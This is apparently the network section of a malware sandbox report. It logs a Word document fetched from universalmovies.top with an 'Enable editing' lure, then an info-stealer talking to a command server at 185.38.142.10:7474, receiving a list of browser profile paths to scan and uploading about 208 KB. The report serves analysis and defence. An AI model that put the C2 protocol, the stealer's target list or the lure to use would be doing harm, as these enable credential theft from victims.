Jun 24, 2024 18:23:07.292412043 CEST	8.8.8.8	192.168.2.22	0x4189	No error (0)	universalmovies.top		172.67.162.95	A (IP address)	IN (0x0001)	false
Jun 24, 2024 18:23:08.814817905 CEST	8.8.8.8	192.168.2.22	0x2383	No error (0)	universalmovies.top		104.21.74.191	A (IP address)	IN (0x0001)	false
Jun 24, 2024 18:23:08.814817905 CEST	8.8.8.8	192.168.2.22	0x2383	No error (0)	universalmovies.top		172.67.162.95	A (IP address)	IN (0x0001)	false
Jun 24, 2024 18:23:08.826379061 CEST	8.8.8.8	192.168.2.22	0x99e0	No error (0)	universalmovies.top		172.67.162.95	A (IP address)	IN (0x0001)	false
Jun 24, 2024 18:23:08.826379061 CEST	8.8.8.8	192.168.2.22	0x99e0	No error (0)	universalmovies.top		104.21.74.191	A (IP address)	IN (0x0001)	false
Jun 24, 2024 18:23:11.936785936 CEST	8.8.8.8	192.168.2.22	0x836e	No error (0)	universalmovies.top		104.21.74.191	A (IP address)	IN (0x0001)	false
Jun 24, 2024 18:23:11.936785936 CEST	8.8.8.8	192.168.2.22	0x836e	No error (0)	universalmovies.top		172.67.162.95	A (IP address)	IN (0x0001)	false
Jun 24, 2024 18:23:15.013371944 CEST	8.8.8.8	192.168.2.22	0x98ab	No error (0)	universalmovies.top		172.67.162.95	A (IP address)	IN (0x0001)	false
Jun 24, 2024 18:23:15.013371944 CEST	8.8.8.8	192.168.2.22	0x98ab	No error (0)	universalmovies.top		104.21.74.191	A (IP address)	IN (0x0001)	false
Jun 24, 2024 18:23:15.025304079 CEST	8.8.8.8	192.168.2.22	0xae0f	No error (0)	universalmovies.top		172.67.162.95	A (IP address)	IN (0x0001)	false
Jun 24, 2024 18:23:15.025304079 CEST	8.8.8.8	192.168.2.22	0xae0f	No error (0)	universalmovies.top		104.21.74.191	A (IP address)	IN (0x0001)	false
Jun 24, 2024 18:23:16.593208075 CEST	8.8.8.8	192.168.2.22	0xd36d	No error (0)	universalmovies.top		104.21.74.191	A (IP address)	IN (0x0001)	false
Jun 24, 2024 18:23:16.593208075 CEST	8.8.8.8	192.168.2.22	0xd36d	No error (0)	universalmovies.top		172.67.162.95	A (IP address)	IN (0x0001)	false
Jun 24, 2024 18:23:16.601613998 CEST	8.8.8.8	192.168.2.22	0x733b	No error (0)	universalmovies.top		172.67.162.95	A (IP address)	IN (0x0001)	false
Jun 24, 2024 18:23:16.601613998 CEST	8.8.8.8	192.168.2.22	0x733b	No error (0)	universalmovies.top		104.21.74.191	A (IP address)	IN (0x0001)	false
Jun 24, 2024 18:23:24.604656935 CEST	8.8.8.8	192.168.2.22	0x1678	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 24, 2024 18:23:24.619441032 CEST	8.8.8.8	192.168.2.22	0x132c	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

universalmovies.top

185.38.142.10:7474

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49176	185.38.142.10	7474	3536	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jun 24, 2024 18:23:18.092936993 CEST	239	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 185.38.142.10:7474 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Jun 24, 2024 18:23:18.724826097 CEST	359	IN	HTTP/1.1 200 OK Content-Length: 212 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Mon, 24 Jun 2024 16:23:17 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 74 72 75 65 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnectResponse xmlns="http://tempuri.org/"><CheckConnectResult>true</CheckConnectResult></CheckConnectResponse></s:Body></s:Envelope>
Jun 24, 2024 18:23:18.937309027 CEST	359	IN	HTTP/1.1 200 OK Content-Length: 212 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Mon, 24 Jun 2024 16:23:17 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 74 72 75 65 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnectResponse xmlns="http://tempuri.org/"><CheckConnectResult>true</CheckConnectResult></CheckConnectResponse></s:Body></s:Envelope>
Jun 24, 2024 18:23:23.807528973 CEST	222	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings" Host: 185.38.142.10:7474 Content-Length: 144 Expect: 100-continue Accept-Encoding: gzip, deflate
Jun 24, 2024 18:23:24.051609993 CEST	1236	IN	HTTP/1.1 200 OK Content-Length: 4744 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Mon, 24 Jun 2024 16:23:23 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 3e 3c 61 3a 42 6c 6f 63 6b 65 64 43 6f 75 6e 74 72 79 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 2f 3e 3c 61 3a 42 6c 6f 63 6b 65 64 49 50 20 78 6d 6c [TRUNCATED] Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><EnvironmentSettingsResponse xmlns="http://tempuri.org/"><EnvironmentSettingsResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><a:BlockedCountry xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:BlockedIP xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:Object4>true</a:Object4><a:Object6>false</a:Object6><a:ScanBrowsers>true</a:ScanBrowsers><a:ScanChromeBrowsersPaths xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><b:string>%USERPROFILE%\AppData\Local\Battle.net</b:string><b:string>%USERPROFILE%\AppData\Local\Chromium\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google(x86)\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\Roaming\Opera Software\</b:string><b:string>%USERPROFILE%\AppData\Local\MapleStudio\ChromePlus\User Data</b:string [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49178	185.38.142.10	7474	3536	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jun 24, 2024 18:23:31.727726936 CEST	220	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment" Host: 185.38.142.10:7474 Content-Length: 208913 Expect: 100-continue Accept-Encoding: gzip, deflate
Jun 24, 2024 18:23:32.960233927 CEST	294	IN	HTTP/1.1 200 OK Content-Length: 147 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Mon, 24 Jun 2024 16:23:32 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 53 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 2f 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><SetEnvironmentResponse xmlns="http://tempuri.org/"/></s:Body></s:Envelope>
Jun 24, 2024 18:23:33.169193983 CEST	294	IN	HTTP/1.1 200 OK Content-Length: 147 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Mon, 24 Jun 2024 16:23:32 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 53 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 2f 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><SetEnvironmentResponse xmlns="http://tempuri.org/"/></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49179	185.38.142.10	7474	3536	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jun 24, 2024 18:23:32.966852903 CEST	240	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetUpdates" Host: 185.38.142.10:7474 Content-Length: 208905 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Jun 24, 2024 18:23:35.614211082 CEST	408	IN	HTTP/1.1 200 OK Content-Length: 261 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Mon, 24 Jun 2024 16:23:35 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns="http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/></GetUpdatesResponse></s:Body></s:Envelope>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49166	104.21.74.191	443	2780	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Timestamp	Bytes transferred	Direction	Data
2024-06-24 16:22:55 UTC	141	OUT	OPTIONS / HTTP/1.1 User-Agent: Microsoft Office Protocol Discovery Host: universalmovies.top Content-Length: 0 Connection: Keep-Alive
2024-06-24 16:22:56 UTC	717	IN	HTTP/1.1 200 OK Date: Mon, 24 Jun 2024 16:22:56 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Allow: OPTIONS,HEAD,GET,POST,TRACE CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Xi9%2BHRMNiLinQTbW3FXLSczwaji%2F2lRc6SQ%2BTk9HxuYlRex4B%2BLZeFZkiW5jf0%2BI1BnEMrlLvIMB0EuEjgja7mTJLCdJZRXRypSrMx%2BOPTBNN40xQY9lUmXUYbkV8zoR73HkXHL9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 898e0f368e2f4201-EWR alt-svc: h3=":443"; ma=86400
2024-06-24 16:22:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49167	172.67.162.95	443	2780	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Timestamp	Bytes transferred	Direction	Data
2024-06-24 16:22:59 UTC	133	OUT	HEAD /notorious.doc HTTP/1.1 Connection: Keep-Alive User-Agent: Microsoft Office Existence Discovery Host: universalmovies.top
2024-06-24 16:23:00 UTC	840	IN	HTTP/1.1 200 OK Date: Mon, 24 Jun 2024 16:23:00 GMT Content-Type: application/msword Content-Length: 618938 Connection: close Last-Modified: Mon, 24 Jun 2024 08:04:45 GMT ETag: "6679289d-971ba" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 CF-Cache-Status: HIT Age: 4715 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SzYRMN1OzTgvdRlQoyRPNIcNem2efeMPQF%2F4Z404pHQo%2BVAlb6yPUhdfTANnX6qLMbJFy5dYycEWIipMWc7%2FGsllq8tBei2PLYsaCWvqgtovKycYCZVol%2FIdJbEHQfiJzSIvhMuM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 898e0f50e900c338-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.22	49168	172.67.162.95	443

Timestamp	Bytes transferred	Direction	Data
2024-06-24 16:23:06 UTC	136	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601 translate: f Host: universalmovies.top
2024-06-24 16:23:06 UTC	713	IN	HTTP/1.1 200 OK Date: Mon, 24 Jun 2024 16:23:06 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Allow: OPTIONS,HEAD,GET,POST,TRACE CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UHvy3%2BZCbebjRKvQkrRtp3ug%2BzQBaEwmRhFHC6HWbuk6c3IH0fGP96u7DlF%2BgGT1ppvnI%2FhEmztVPJkW1PoBht9WZkO37RZzxA2YAfXKxF9q5BAGDJrw4r8oPpGHyc32b1GV7wuQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 898e0f7ada557cff-EWR alt-svc: h3=":443"; ma=86400
2024-06-24 16:23:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.22	49169	172.67.162.95	443

Timestamp	Bytes transferred	Direction	Data
2024-06-24 16:23:07 UTC	166	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 52 65 64 69 72 2f 36 2e 31 2e 37 36 30 31 0d 0a 44 65 70 74 68 3a 20 30 0d 0a 74 72 61 6e 73 6c 61 74 65 3a 20 66 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 75 6e 69 76 65 72 73 61 6c 6d 6f 76 69 65 73 2e 74 6f 70 0d 0a 0d 0a Data Ascii: PROPFIND / HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601Depth: 0translate: fContent-Length: 0Host: universalmovies.top
2024-06-24 16:23:08 UTC	728	IN	HTTP/1.1 405 Method Not Allowed Date: Mon, 24 Jun 2024 16:23:08 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Allow: OPTIONS,HEAD,GET,POST,TRACE CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vnrYoHSbAYpyoUbdT0ziKBYbaVrlco4TKEOjxWuoAo94NK0mZZHYnd0ElgMAaV2epS948vGua6wnP8FWKahKYNk8v5OIhZE%2Bvl12icEHbXLNJDiS1ECB06rL8lOGJAtbXTI5R7v9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 898e0f822f610f9b-EWR alt-svc: h3=":443"; ma=86400
2024-06-24 16:23:08 UTC	231	IN	Data Raw: 65 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 50 52 4f 50 46 49 4e 44 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 66 6f 72 20 74 68 69 73 20 55 52 4c 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: e1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>405 Method Not Allowed</title></head><body><h1>Method Not Allowed</h1><p>The requested method PROPFIND is not allowed for this URL.</p></body></html>
2024-06-24 16:23:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.22	49170	104.21.74.191	443

Timestamp	Bytes transferred	Direction	Data
2024-06-24 16:23:09 UTC	166	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 52 65 64 69 72 2f 36 2e 31 2e 37 36 30 31 0d 0a 44 65 70 74 68 3a 20 30 0d 0a 74 72 61 6e 73 6c 61 74 65 3a 20 66 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 75 6e 69 76 65 72 73 61 6c 6d 6f 76 69 65 73 2e 74 6f 70 0d 0a 0d 0a Data Ascii: PROPFIND / HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601Depth: 0translate: fContent-Length: 0Host: universalmovies.top
2024-06-24 16:23:09 UTC	740	IN	HTTP/1.1 405 Method Not Allowed Date: Mon, 24 Jun 2024 16:23:09 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Allow: OPTIONS,HEAD,GET,POST,TRACE CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pk3ULyNMDA8O3kXvg7Qj7aVkcOGLnKnyxGsLTMABeNAGM%2FDcT6%2B20foYmc4%2ByDI3F7dCyzT0pIiQ2vLxqpNxY4NdH7TQiLdINW2vWw%2FPEMODygm%2Bj2Y8nk3Kyiv1vwi%2F3CjSh%2F5m"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 898e0f8baabf4303-EWR alt-svc: h3=":443"; ma=86400
2024-06-24 16:23:09 UTC	231	IN	Data Raw: 65 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 50 52 4f 50 46 49 4e 44 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 66 6f 72 20 74 68 69 73 20 55 52 4c 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: e1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>405 Method Not Allowed</title></head><body><h1>Method Not Allowed</h1><p>The requested method PROPFIND is not allowed for this URL.</p></body></html>
2024-06-24 16:23:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.22	49171	104.21.74.191	443	2780	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Timestamp	Bytes transferred	Direction	Data
2024-06-24 16:23:10 UTC	363	OUT	GET /notorious.doc HTTP/1.1 Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; ms-office; MSOffice 14) UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: universalmovies.top Connection: Keep-Alive
2024-06-24 16:23:10 UTC	844	IN	HTTP/1.1 200 OK Date: Mon, 24 Jun 2024 16:23:10 GMT Content-Type: application/msword Content-Length: 618938 Connection: close Last-Modified: Mon, 24 Jun 2024 08:04:45 GMT ETag: "6679289d-971ba" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 CF-Cache-Status: HIT Age: 4726 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6jj%2Bx7R3XgrtAZFyRH%2BXG9qlY7q0fwxGgFUeJ4XD43WEUuWmVbCvQ9YutXL%2FDGwa5ssi2u53BsOmudrXc%2FyBebhQFSXnadnAZ5E6RDtMjT94r2ySVfruR%2Fyqi%2FXZInw6snriMOyJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 898e0f913a884328-EWR alt-svc: h3=":443"; ma=86400
2024-06-24 16:23:10 UTC	525	IN	Data Raw: 7b 5c 72 74 66 31 0d 0d 7b 5c 2a 5c 57 61 75 77 57 62 33 33 6b 56 74 42 65 46 58 6f 46 35 4d 65 38 62 62 6b 61 43 43 38 38 64 71 58 42 31 4c 4e 30 73 38 34 73 61 44 58 66 79 37 77 4e 45 49 6b 46 36 66 77 6f 39 57 62 54 58 55 61 38 70 75 64 44 39 54 5a 6d 62 78 71 32 73 4d 4a 30 39 42 42 59 45 34 4f 55 77 62 32 36 6d 4d 41 6e 6e 49 6c 36 69 45 36 72 4d 6e 41 65 47 50 53 58 62 68 30 79 48 78 64 33 4b 36 55 77 64 65 6d 59 67 7d 0d 0d 7b 5c 37 34 34 33 34 35 39 35 38 70 6c 65 61 73 65 20 63 6c 69 63 6b 20 45 6e 61 62 6c 65 20 65 64 69 74 69 6e 67 20 66 72 6f 6d 20 74 68 65 20 79 65 6c 6c 6f 77 20 62 61 72 20 61 62 6f 76 65 2e 54 68 65 20 69 6e 64 65 70 65 6e 64 65 6e 74 20 61 75 64 69 74 6f 72 73 92 20 6f 70 69 6e 69 6f 6e 20 73 61 79 73 20 74 68 65 20 66 69 Data Ascii: {\rtf1{\*\WauwWb33kVtBeFXoF5Me8bbkaCC88dqXB1LN0s84saDXfy7wNEIkF6fwo9WbTXUa8pudD9TZmbxq2sMJ09BBYE4OUwb26mMAnnIl6iE6rMnAeGPSXbh0yHxd3K6UwdemYg}{\744345958please click Enable editing from the yellow bar above.The independent auditors opinion says the fi
